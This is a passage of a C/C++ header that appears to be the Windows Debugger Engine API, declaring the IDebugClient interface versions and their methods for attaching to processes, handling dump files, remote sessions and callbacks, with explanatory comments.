RemoteOptions,\n __out PULONG64 Server\n ) PURE;\n STDMETHOD(DisconnectProcessServer)(\n THIS_\n __in ULONG64 Server\n ) PURE;\n\n // Enumerates and describes processes\n // accessible through the given process server.\n STDMETHOD(GetRunningProcessSystemIds)(\n THIS_\n __in ULONG64 Server,\n __out_ecount_opt(Count) PULONG Ids,\n __in ULONG Count,\n __out_opt PULONG ActualCount\n ) PURE;\n STDMETHOD(GetRunningProcessSystemIdByExecutableName)(\n THIS_\n __in ULONG64 Server,\n __in PCSTR ExeName,\n __in ULONG Flags,\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetRunningProcessDescription)(\n THIS_\n __in ULONG64 Server,\n __in ULONG SystemId,\n __in ULONG Flags,\n __out_ecount_opt(ExeNameSize) PSTR ExeName,\n __in ULONG ExeNameSize,\n __out_opt PULONG ActualExeNameSize,\n __out_ecount_opt(DescriptionSize) PSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG ActualDescriptionSize\n ) PURE;\n\n // Attaches to a running user-mode process.\n STDMETHOD(AttachProcess)(\n THIS_\n __in ULONG64 Server,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n // Creates a new user-mode process for debugging.\n // CreateFlags are as given to Win32s CreateProcess.\n // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS\n // must be specified.\n STDMETHOD(CreateProcess)(\n THIS_\n __in ULONG64 Server,\n __in PSTR CommandLine,\n __in ULONG CreateFlags\n ) PURE;\n // Creates or attaches to a user-mode process, or both.\n // If CommandLine is NULL this method operates as\n // AttachProcess does. If ProcessId is zero it\n // operates as CreateProcess does. If CommandLine is\n // non-NULL and ProcessId is non-zero the method first\n // starts a process with the given information but\n // in a suspended state. The engine then attaches to\n // the indicated process. Once the attach is successful\n // the suspended process is resumed. This provides\n // synchronization between the new process and the\n // attachment.\n STDMETHOD(CreateProcessAndAttach)(\n THIS_\n __in ULONG64 Server,\n __in_opt PSTR CommandLine,\n __in ULONG CreateFlags,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n // Gets and sets process control flags.\n STDMETHOD(GetProcessOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // Opens any kind of user- or kernel-mode dump file\n // and begins a debug session with the information\n // contained within it.\n STDMETHOD(OpenDumpFile)(\n THIS_\n __in PCSTR DumpFile\n ) PURE;\n // Writes a dump file from the current session information.\n // The kind of dump file written is determined by the\n // kind of session and the type qualifier given.\n // For example, if the current session is a kernel\n // debug session (DEBUG_CLASS_KERNEL) and the qualifier\n // is DEBUG_DUMP_SMALL a small kernel dump will be written.\n STDMETHOD(WriteDumpFile)(\n THIS_\n __in PCSTR DumpFile,\n __in ULONG Qualifier\n ) PURE;\n\n // Indicates that a remote client is ready to\n // begin participating in the current session.\n // HistoryLimit gives a character limit on\n // the amount of output history to be sent.\n STDMETHOD(ConnectSession)(\n THIS_\n __in ULONG Flags,\n __in ULONG HistoryLimit\n ) PURE;\n // Indicates that the engine should start accepting\n // remote connections. Options specifies connection types\n // and their parameters. Supported strings are:\n // npipe:Pipe=\n // tcp:Port=\n STDMETHOD(StartServer)(\n THIS_\n __in PCSTR Options\n ) PURE;\n // List the servers running on the given machine.\n // Uses the line prefix.\n STDMETHOD(OutputServers)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR Machine,\n __in ULONG Flags\n ) PURE;\n\n // Attempts to terminate all processes in the debuggers list.\n STDMETHOD(TerminateProcesses)(\n THIS\n ) PURE;\n // Attempts to detach from all processes in the debuggers list.\n // This requires OS support for debugger detach.\n STDMETHOD(DetachProcesses)(\n THIS\n ) PURE;\n // Stops the current debug session. If a process\n // was created or attached an active EndSession can\n // terminate or detach from it.\n // If a kernel connection was opened it will be closed but the\n // target machine is otherwise unaffected.\n STDMETHOD(EndSession)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // If a process was started and ran to completion\n // this method can be used to retrieve its exit code.\n STDMETHOD(GetExitCode)(\n THIS_\n __out PULONG Code\n ) PURE;\n\n // Client event callbacks are called on the thread\n // of the client. In order to give thread\n // execution to the engine for callbacks all\n // client threads should call DispatchCallbacks\n // when they are idle. Callbacks are only\n // received when a thread calls DispatchCallbacks\n // or WaitForEvent. WaitForEvent can only be\n // called by the thread that started the debug\n // session so all other client threads should\n // call DispatchCallbacks when possible.\n // DispatchCallbacks returns when ExitDispatch is used\n // to interrupt dispatch or when the timeout expires.\n // DispatchCallbacks dispatches callbacks for all\n // clients associated with the thread calling\n // DispatchCallbacks.\n // DispatchCallbacks returns S_FALSE when the\n // timeout expires.\n STDMETHOD(DispatchCallbacks)(\n THIS_\n __in ULONG Timeout\n ) PURE;\n // ExitDispatch can be used to interrupt callback\n // dispatch when a client thread is needed by the\n // client. This method is reentrant and can\n // be called from any thread.\n STDMETHOD(ExitDispatch)(\n THIS_\n __in PDEBUG_CLIENT Client\n ) PURE;\n\n // Clients are specific to the thread that\n // created them. Calls from other threads\n // fail immediately. The CreateClient method\n // is a notable exception; it allows creation\n // of a new client for a new thread.\n STDMETHOD(CreateClient)(\n THIS_\n __out PDEBUG_CLIENT* Client\n ) PURE;\n\n STDMETHOD(GetInputCallbacks)(\n THIS_\n __out PDEBUG_INPUT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetInputCallbacks)(\n THIS_\n __in_opt PDEBUG_INPUT_CALLBACKS Callbacks\n ) PURE;\n\n // Output callback interfaces are described separately.\n STDMETHOD(GetOutputCallbacks)(\n THIS_\n __out PDEBUG_OUTPUT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetOutputCallbacks)(\n THIS_\n __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks\n ) PURE;\n // Output flags provide control over\n // the distribution of output among clients.\n // Output masks select which output streams\n // should be sent to the output callbacks.\n // Only Output calls with a mask that\n // contains one of the output mask bits\n // will be sent to the output callbacks.\n // These methods are reentrant.\n // If such access is not synchronized\n // disruptions in output may occur.\n STDMETHOD(GetOutputMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetOutputMask)(\n THIS_\n __in ULONG Mask\n ) PURE;\n // These methods allow access to another clients\n // output mask. They are necessary for changing\n // a clients output mask when it is\n // waiting for events. These methods are reentrant\n // and can be called from any thread.\n STDMETHOD(GetOtherOutputMask)(\n THIS_\n __in PDEBUG_CLIENT Client,\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetOtherOutputMask)(\n THIS_\n __in PDEBUG_CLIENT Client,\n __in ULONG Mask\n ) PURE;\n // Control the width of an output line for\n // commands which produce formatted output.\n // This setting is just a suggestion.\n STDMETHOD(GetOutputWidth)(\n THIS_\n __out PULONG Columns\n ) PURE;\n STDMETHOD(SetOutputWidth)(\n THIS_\n __in ULONG Columns\n ) PURE;\n // Some of the engines output commands produce\n // multiple lines of output. A prefix can be\n // set that the engine will automatically output\n // for each line in that case, allowing a caller\n // to control indentation or identifying marks.\n // This is not a general setting for any output\n // with a newline in it. Methods which use\n // the line prefix are marked in their documentation.\n STDMETHOD(GetOutputLinePrefix)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PrefixSize\n ) PURE;\n STDMETHOD(SetOutputLinePrefix)(\n THIS_\n __in_opt PCSTR Prefix\n ) PURE;\n\n // Returns a string describing the machine\n // and user this client represents. The\n // specific content of the string varies\n // with operating system. If the client is\n // remotely connected some network information\n // may also be present.\n STDMETHOD(GetIdentity)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG IdentitySize\n ) PURE;\n // Format is a printf-like format string\n // with one %s where the identity string should go.\n STDMETHOD(OutputIdentity)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags,\n __in PCSTR Format\n ) PURE;\n\n // Event callbacks allow a client to\n // receive notification about changes\n // during the debug session.\n STDMETHOD(GetEventCallbacks)(\n THIS_\n __out PDEBUG_EVENT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetEventCallbacks)(\n THIS_\n __in_opt PDEBUG_EVENT_CALLBACKS Callbacks\n ) PURE;\n\n // The engine sometimes merges compatible callback\n // requests to reduce callback overhead. This is\n // most noticeable with output as small pieces of\n // output are collected into larger groups to\n // reduce the overall number of output callback calls.\n // A client can use this method to force all pending\n // callbacks to be delivered. This is rarely necessary.\n STDMETHOD(FlushCallbacks)(\n THIS\n ) PURE;\n\n // IDebugClient2.\n\n // Functions similarly to WriteDumpFile with\n // the addition of the ability to specify\n // per-dump-format write control flags.\n // Comment is not supported in all formats.\n STDMETHOD(WriteDumpFile2)(\n THIS_\n __in PCSTR DumpFile,\n __in ULONG Qualifier,\n __in ULONG FormatFlags,\n __in_opt PCSTR Comment\n ) PURE;\n // Registers additional files of supporting information\n // for a dump file open. This method must be called\n // before OpenDumpFile is called.\n // The files registered may be opened at the time\n // this method is called but generally will not\n // be used until OpenDumpFile is called.\n STDMETHOD(AddDumpInformationFile)(\n THIS_\n __in PCSTR InfoFile,\n __in ULONG Type\n ) PURE;\n\n // Requests that the remote process server shut down.\n STDMETHOD(EndProcessServer)(\n THIS_\n __in ULONG64 Server\n ) PURE;\n // Waits for a started process server to\n // exit. Allows an application running a\n // process server to monitor the process\n // server so that it can tell when a remote\n // client has asked for it to exit.\n // Returns S_OK if the process server has\n // shut down and S_FALSE for a timeout.\n STDMETHOD(WaitForProcessServerEnd)(\n THIS_\n __in ULONG Timeout\n ) PURE;\n\n // Returns S_OK if the system is configured\n // to allow kernel debugging.\n STDMETHOD(IsKernelDebuggerEnabled)(\n THIS\n ) PURE;\n\n // Attempts to terminate the current process.\n // Exit process events for the process may be generated.\n STDMETHOD(TerminateCurrentProcess)(\n THIS\n ) PURE;\n // Attempts to detach from the current process.\n // This requires OS support for debugger detach.\n STDMETHOD(DetachCurrentProcess)(\n THIS\n ) PURE;\n // Removes the process from the debuggers process\n // list without making any other changes. The process\n // will still be marked as being debugged and will\n // not run. This allows a debugger to be shut down\n // and a new debugger attached without taking the\n // process out of the debugged state.\n // This is only supported on some system versions.\n STDMETHOD(AbandonCurrentProcess)(\n THIS\n ) PURE;\n\n // IDebugClient3.\n\n STDMETHOD(GetRunningProcessSystemIdByExecutableNameWide)(\n THIS_\n __in ULONG64 Server,\n __in PCWSTR ExeName,\n __in ULONG Flags,\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetRunningProcessDescriptionWide)(\n THIS_\n __in ULONG64 Server,\n __in ULONG SystemId,\n __in ULONG Flags,\n __out_ecount_opt(ExeNameSize) PWSTR ExeName,\n __in ULONG ExeNameSize,\n __out_opt PULONG ActualExeNameSize,\n __out_ecount_opt(DescriptionSize) PWSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG ActualDescriptionSize\n ) PURE;\n\n STDMETHOD(CreateProcessWide)(\n THIS_\n __in ULONG64 Server,\n __in PWSTR CommandLine,\n __in ULONG CreateFlags\n ) PURE;\n STDMETHOD(CreateProcessAndAttachWide)(\n THIS_\n __in ULONG64 Server,\n __in_opt PWSTR CommandLine,\n __in ULONG CreateFlags,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n};\n\n//\n// Special indices for GetDumpFile to return\n// alternate filenames.\n//\n\n// Special index that returns the name of the last .dmp file\n// that failed to load (whether directly or from inside a\n// .cab file).\n#define DEBUG_DUMP_FILE_LOAD_FAILED_INDEX 0xffffffff\n// Index that returns last cab file opened, this is needed to\n// get the name of original CAB file since debugger returns the\n// extracted dump file in the GetDumpFile method.\n#define DEBUG_DUMP_FILE_ORIGINAL_CAB_INDEX 0xfffffffe\n\n#undef INTERFACE\n#define INTERFACE IDebugClient4\nDECLARE_INTERFACE_(IDebugClient4, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugClient.\n\n // The following set of methods start\n // the different kinds of debuggees.\n\n // Begins a debug session using the kernel\n // debugging protocol. This method selects\n // the protocol as the debuggee communication\n // mechanism but does not initiate the communication\n // itself.\n STDMETHOD(AttachKernel)(\n THIS_\n __in ULONG Flags,\n __in_opt PCSTR ConnectOptions\n ) PURE;\n STDMETHOD(GetKernelConnectionOptions)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG OptionsSize\n ) PURE;\n // Updates the connection options for a live\n // kernel connection. This can only be used\n // to modify parameters for the connection, not\n // to switch to a completely different kind of\n // connection.\n // This method is reentrant.\n STDMETHOD(SetKernelConnectionOptions)(\n THIS_\n __in PCSTR Options\n ) PURE;\n\n // Starts a process server for remote\n // user-mode process control.\n // The local process server is server zero.\n STDMETHOD(StartProcessServer)(\n THIS_\n __in ULONG Flags,\n __in PCSTR Options,\n __in_opt __reserved PVOID Reserved\n ) PURE;\n STDMETHOD(ConnectProcessServer)(\n THIS_\n __in PCSTR RemoteOptions,\n __out PULONG64 Server\n ) PURE;\n STDMETHOD(DisconnectProcessServer)(\n THIS_\n __in ULONG64 Server\n ) PURE;\n\n // Enumerates and describes processes\n // accessible through the given process server.\n STDMETHOD(GetRunningProcessSystemIds)(\n THIS_\n __in ULONG64 Server,\n __out_ecount_opt(Count) PULONG Ids,\n __in ULONG Count,\n __out_opt PULONG ActualCount\n ) PURE;\n STDMETHOD(GetRunningProcessSystemIdByExecutableName)(\n THIS_\n __in ULONG64 Server,\n __in PCSTR ExeName,\n __in ULONG Flags,\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetRunningProcessDescription)(\n THIS_\n __in ULONG64 Server,\n __in ULONG SystemId,\n __in ULONG Flags,\n __out_ecount_opt(ExeNameSize) PSTR ExeName,\n __in ULONG ExeNameSize,\n __out_opt PULONG ActualExeNameSize,\n __out_ecount_opt(DescriptionSize) PSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG ActualDescriptionSize\n ) PURE;\n\n // Attaches to a running user-mode process.\n STDMETHOD(AttachProcess)(\n THIS_\n __in ULONG64 Server,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n // Creates a new user-mode process for debugging.\n // CreateFlags are as given to Win32s CreateProcess.\n // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS\n // must be specified.\n STDMETHOD(CreateProcess)(\n THIS_\n __in ULONG64 Server,\n __in PSTR CommandLine,\n __in ULONG CreateFlags\n ) PURE;\n // Creates or attaches to a user-mode process, or both.\n // If CommandLine is NULL this method operates as\n // AttachProcess does. If ProcessId is zero it\n // operates as CreateProcess does. If CommandLine is\n // non-NULL and ProcessId is non-zero the method first\n // starts a process with the given information but\n // in a suspended state. The engine then attaches to\n // the indicated process. Once the attach is successful\n // the suspended process is resumed. This provides\n // synchronization between the new process and the\n // attachment.\n STDMETHOD(CreateProcessAndAttach)(\n THIS_\n __in ULONG64 Server,\n __in_opt PSTR CommandLine,\n __in ULONG CreateFlags,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n // Gets and sets process control flags.\n STDMETHOD(GetProcessOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetProcessOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // Opens any kind of user- or kernel-mode dump file\n // and begins a debug session with the information\n // contained within it.\n STDMETHOD(OpenDumpFile)(\n THIS_\n __in PCSTR DumpFile\n ) PURE;\n // Writes a dump file from the current session information.\n // The kind of dump file written is determined by the\n // kind of session and the type qualifier given.\n // For example, if the current session is a kernel\n // debug session (DEBUG_CLASS_KERNEL) and the qualifier\n // is DEBUG_DUMP_SMALL a small kernel dump will be written.\n STDMETHOD(WriteDumpFile)(\n THIS_\n __in PCSTR DumpFile,\n __in ULONG Qualifier\n ) PURE;\n\n // Indicates that a remote client is ready to\n // begin participating in the current session.\n // HistoryLimit gives a character limit on\n // the amount of output history to be sent.\n STDMETHOD(ConnectSession)(\n THIS_\n __in ULONG Flags,\n __in ULONG HistoryLimit\n ) PURE;\n // Indicates that the engine should start accepting\n // remote connections. Options specifies connection types\n // and their parameters. Supported strings are:\n // npipe:Pipe=\n // tcp:Port=\n STDMETHOD(StartServer)(\n THIS_\n __in PCSTR Options\n ) PURE;\n // List the servers running on the given machine.\n // Uses the line prefix.\n STDMETHOD(OutputServers)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR Machine,\n __in ULONG Flags\n ) PURE;\n\n // Attempts to terminate all processes in the debuggers list.\n STDMETHOD(TerminateProcesses)(\n THIS\n ) PURE;\n // Attempts to detach from all processes in the debuggers list.\n // This requires OS support for debugger detach.\n STDMETHOD(DetachProcesses)(\n THIS\n ) PURE;\n // Stops the current debug session. If a process\n // was created or attached an active EndSession can\n // terminate or detach from it.\n // If a kernel connection was opened it will be closed but the\n // target machine is otherwise unaffected.\n STDMETHOD(EndSession)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // If a process was started and ran to completion\n // this method can be used to retrieve its exit code.\n STDMETHOD(GetExitCode)(\n THIS_\n __out PULONG Code\n ) PURE;\n\n // Client event callbacks are called on the thread\n // of the client. In order to give thread\n // execution to the engine for callbacks all\n // client threads should call DispatchCallbacks\n // when they are idle. Callbacks are only\n // received when a thread calls DispatchCallbacks\n // or WaitForEvent. WaitForEvent can only be\n // called by the thread that started the debug\n // session so all other client threads should\n // call DispatchCallbacks when possible.\n // DispatchCallbacks returns when ExitDispatch is used\n // to interrupt dispatch or when the timeout expires.\n // DispatchCallbacks dispatches callbacks for all\n // clients associated with the thread calling\n // DispatchCallbacks.\n // DispatchCallbacks returns S_FALSE when the\n // timeout expires.\n STDMETHOD(DispatchCallbacks)(\n THIS_\n __in ULONG Timeout\n ) PURE;\n // ExitDispatch can be used to interrupt callback\n // dispatch when a client thread is needed by the\n // client. This method is reentrant and can\n // be called from any thread.\n STDMETHOD(ExitDispatch)(\n THIS_\n __in PDEBUG_CLIENT Client\n ) PURE;\n\n // Clients are specific to the thread that\n // created them. Calls from other threads\n // fail immediately. The CreateClient method\n // is a notable exception; it allows creation\n // of a new client for a new thread.\n STDMETHOD(CreateClient)(\n THIS_\n __out PDEBUG_CLIENT* Client\n ) PURE;\n\n STDMETHOD(GetInputCallbacks)(\n THIS_\n __out PDEBUG_INPUT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetInputCallbacks)(\n THIS_\n __in_opt PDEBUG_INPUT_CALLBACKS Callbacks\n ) PURE;\n\n // Output callback interfaces are described separately.\n STDMETHOD(GetOutputCallbacks)(\n THIS_\n __out PDEBUG_OUTPUT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetOutputCallbacks)(\n THIS_\n __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks\n ) PURE;\n // Output flags provide control over\n // the distribution of output among clients.\n // Output masks select which output streams\n // should be sent to the output callbacks.\n // Only Output calls with a mask that\n // contains one of the output mask bits\n // will be sent to the output callbacks.\n // These methods are reentrant.\n // If such access is not synchronized\n // disruptions in output may occur.\n STDMETHOD(GetOutputMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetOutputMask)(\n THIS_\n __in ULONG Mask\n ) PURE;\n // These methods allow access to another clients\n // output mask. They are necessary for changing\n // a clients output mask when it is\n // waiting for events. These methods are reentrant\n // and can be called from any thread.\n STDMETHOD(GetOtherOutputMask)(\n THIS_\n __in PDEBUG_CLIENT Client,\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetOtherOutputMask)(\n THIS_\n __in PDEBUG_CLIENT Client,\n __in ULONG Mask\n ) PURE;\n // Control the width of an output line for\n // commands which produce formatted output.\n // This setting is just a suggestion.\n STDMETHOD(GetOutputWidth)(\n THIS_\n __out PULONG Columns\n ) PURE;\n STDMETHOD(SetOutputWidth)(\n THIS_\n __in ULONG Columns\n ) PURE;\n // Some of the engines output commands produce\n // multiple lines of output. A prefix can be\n // set that the engine will automatically output\n // for each line in that case, allowing a caller\n // to control indentation or identifying marks.\n // This is not a general setting for any output\n // with a newline in it. Methods which use\n // the line prefix are marked in their documentation.\n STDMETHOD(GetOutputLinePrefix)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PrefixSize\n ) PURE;\n STDMETHOD(SetOutputLinePrefix)(\n THIS_\n __in_opt PCSTR Prefix\n ) PURE;\n\n // Returns a string describing the machine\n // and user this client represents. The\n // specific content of the string varies\n // with operating system. If the client is\n // remotely connected some network information\n // may also be present.\n STDMETHOD(GetIdentity)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG IdentitySize\n ) PURE;\n // Format is a printf-like format string\n // with one %s where the identity string should go.\n STDMETHOD(OutputIdentity)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags,\n __in PCSTR Format\n ) PURE;\n\n // Event callbacks allow a client to\n // receive notification about changes\n // during the debug session.\n STDMETHOD(GetEventCallbacks)(\n THIS_\n __out PDEBUG_EVENT_CALLBACKS* Callbacks\n ) PURE;\n STDMETHOD(SetEventCallbacks)(\n THIS_\n __in_opt PDEBUG_EVENT_CALLBACKS Callbacks\n ) PURE;\n\n // The engine sometimes merges compatible callback\n // requests to reduce callback overhead. This is\n // most noticeable with output as small pieces of\n // output are collected into larger groups to\n // reduce the overall number of output callback calls.\n // A client can use this method to force all pending\n // callbacks to be delivered. This is rarely necessary.\n STDMETHOD(FlushCallbacks)(\n THIS\n ) PURE;\n\n // IDebugClient2.\n\n // Functions similarly to WriteDumpFile with\n // the addition of the ability to specify\n // per-dump-format write control flags.\n // Comment is not supported in all formats.\n STDMETHOD(WriteDumpFile2)(\n THIS_\n __in PCSTR DumpFile,\n __in ULONG Qualifier,\n __in ULONG FormatFlags,\n __in_opt PCSTR Comment\n ) PURE;\n // Registers additional files of supporting information\n // for a dump file open. This method must be called\n // before OpenDumpFile is called.\n // The files registered may be opened at the time\n // this method is called but generally will not\n // be used until OpenDumpFile is called.\n STDMETHOD(AddDumpInformationFile)(\n THIS_\n __in PCSTR InfoFile,\n __in ULONG Type\n ) PURE;\n\n // Requests that the remote process server shut down.\n STDMETHOD(EndProcessServer)(\n THIS_\n __in ULONG64 Server\n ) PURE;\n // Waits for a started process server to\n // exit. Allows an application running a\n // process server to monitor the process\n // server so that it can tell when a remote\n // client has asked for it to exit.\n // Returns S_OK if the process server has\n // shut down and S_FALSE for a timeout.\n STDMETHOD(WaitForProcessServerEnd)(\n THIS_\n __in ULONG Timeout\n ) PURE;\n\n // Returns S_OK if the system is configured\n // to allow kernel debugging.\n STDMETHOD(IsKernelDebuggerEnabled)(\n THIS\n ) PURE;\n\n // Attempts to terminate the current process.\n // Exit process events for the process may be generated.\n STDMETHOD(TerminateCurrentProcess)(\n THIS\n ) PURE;\n // Attempts to detach from the current process.\n // This requires OS support for debugger detach.\n STDMETHOD(DetachCurrentProcess)(\n THIS\n ) PURE;\n // Removes the process from the debuggers process\n // list without making any other changes. The process\n // will still be marked as being debugged and will\n // not run. This allows a debugger to be shut down\n // and a new debugger attached without taking the\n // process out of the debugged state.\n // This is only supported on some system versions.\n STDMETHOD(AbandonCurrentProcess)(\n THIS\n ) PURE;\n\n // IDebugClient3.\n\n STDMETHOD(GetRunningProcessSystemIdByExecutableNameWide)(\n THIS_\n __in ULONG64 Server,\n __in PCWSTR ExeName,\n __in ULONG Flags,\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetRunningProcessDescriptionWide)(\n THIS_\n __in ULONG64 Server,\n __in ULONG SystemId,\n __in ULONG Flags,\n __out_ecount_opt(ExeNameSize) PWSTR ExeName,\n __in ULONG ExeNameSize,\n __out_opt PULONG ActualExeNameSize,\n __out_ecount_opt(DescriptionSize) PWSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG ActualDescriptionSize\n ) PURE;\n\n STDMETHOD(CreateProcessWide)(\n THIS_\n __in ULONG64 Server,\n __in PWSTR CommandLine,\n __in ULONG CreateFlags\n ) PURE;\n STDMETHOD(CreateProcessAndAttachWide)(\n THIS_\n __in ULONG64 Server,\n __in_opt PWSTR CommandLine,\n __in ULONG CreateFlags,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n\n // IDebugClient4.\n\n // In the following methods both a filename and a file\n // handle can be passed in. If a file handle is given\n // the filename may be omitted, although providing it\n // allows the debugger to properly report the name when\n // queried.\n // File handles cannot be used in remote calls.\n STDMETHOD(OpenDumpFileWide)(\n THIS_\n __in_opt PCWSTR FileName,\n __in ULONG64 FileHandle\n ) PURE;\n STDMETHOD(WriteDumpFileWide)(\n THIS_\n __in_opt PCWSTR FileName,\n __in ULONG64 FileHandle,\n __in ULONG Qualifier,\n __in ULONG FormatFlags,\n __in_opt PCWSTR Comment\n ) PURE;\n STDMETHOD(AddDumpInformationFileWide)(\n THIS_\n __in_opt PCWSTR FileName,\n __in ULONG64 FileHandle,\n __in ULONG Type\n ) PURE;\n // These methods can be used to retrieve\n // file information for all targets that\n // involve files.\n STDMETHOD(GetNumberDumpFiles)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetDumpFile)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Handle,\n __out PULONG Type\n ) PURE;\n STDMETHOD(GetDumpFileWide)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Handle,\n __out PULONG Type\n ) PURE;\n};\n\n#undef INTERFACE\n#define INTERFACE IDebugClient5\nDECLARE_INTERFACE_(IDebugClient5, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugClient.\n\n // The following set of methods start\n // the different kinds of debuggees.\n\n // Begins a debug session using the kernel\n // debugging protocol. This method selects\n // the protocol as the debuggee communication\n // mechanism but does not initiate the communication\n // itself.\n STDMETHOD(AttachKernel)(\n THIS_\n __in ULONG Flags,\n __in_opt PCSTR ConnectOptions\n ) PURE;\n STDMETHOD(GetKernelConnectionOptions)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG OptionsSize\n ) PURE;\n // Updates the connection options for a live\n // kernel connection. This can only be used\n // to modify parameters for the connection, not\n // to switch to a completely different kind of\n // connection.\n // This method is reentrant.\n STDMETHOD(SetKernelConnectionOptions)(\n THIS_\n __in PCSTR Options\n ) PURE;\n\n // Starts a process server for remote\n // user-mode process control.\n // The local process server is server zero.\n STDMETHOD(StartProcessServer)(\n THIS_\n __in ULONG Flags,\n __in PCSTR Options,\n __in_opt __reserved PVOID Reserved\n ) PURE;\n STDMETHOD(ConnectProcessServer)(\n THIS_\n __in PCSTR RemoteOptions,\n __out PULONG64 Server\n ) PURE;\n STDMETHOD(DisconnectProcessServer)(\n THIS_\n __in ULONG64 Server\n ) PURE;\n\n // Enumerates and describes processes\n // accessible through the given process server.\n STDMETHOD(GetRunningProcessSystemIds)(\n THIS_\n __in ULONG64 Server,\n __out_ecount_opt(Count) PULONG Ids,\n __in ULONG Count,\n __out_opt PULONG ActualCount\n ) PURE;\n STDMETHOD(GetRunningProcessSystemIdByExecutableName)(\n THIS_\n __in ULONG64 Server,\n __in PCSTR ExeName,\n __in ULONG Flags,\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetRunningProcessDescription)(\n THIS_\n __in ULONG64 Server,\n __in ULONG SystemId,\n __in ULONG Flags,\n __out_ecount_opt(ExeNameSize) PSTR ExeName,\n __in ULONG ExeNameSize,\n __out_opt PULONG ActualExeNameSize,\n __out_ecount_opt(DescriptionSize) PSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG ActualDescriptionSize\n ) PURE;\n\n // Attaches to a running user-mode process.\n STDMETHOD(AttachProcess)(\n THIS_\n __in ULONG64 Server,\n __in ULONG ProcessId,\n __in ULONG AttachFlags\n ) PURE;\n // Creates a new user-mode process for debugging.\n // CreateFlags are as given to Win32s CreateProcess.\n // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS\n // must be specified.\n STDMETHOD(CreateProcess)(\n THIS_\n __in ULONG64 Server,\n __in PSTR CommandLine,\n __in ULONG CreateFlags\n ) PURE;\n // Creates or attaches to a user-mode process, or both.\n // If CommandLine is NULL this method operates as\n // AttachProcess does. If ProcessId is zero it\n // operates as CreateProcess does. If CommandLine is\n // non-NULL and ProcessId is non-zero the method first\n // starts a process with the given information but\n // in a suspended state. The engine then attaches to\n // the indicated process. Once the attach is successful\n // the suspended process is resumed. This provides\n // synchronization between the new process and the\n // attachment.\n STDMETHOD(CreateProcessAndAttach)(\n THIS_\n __in ULONG64 Server,\n __in_opt PSTR CommandLine,\n __in ULONG 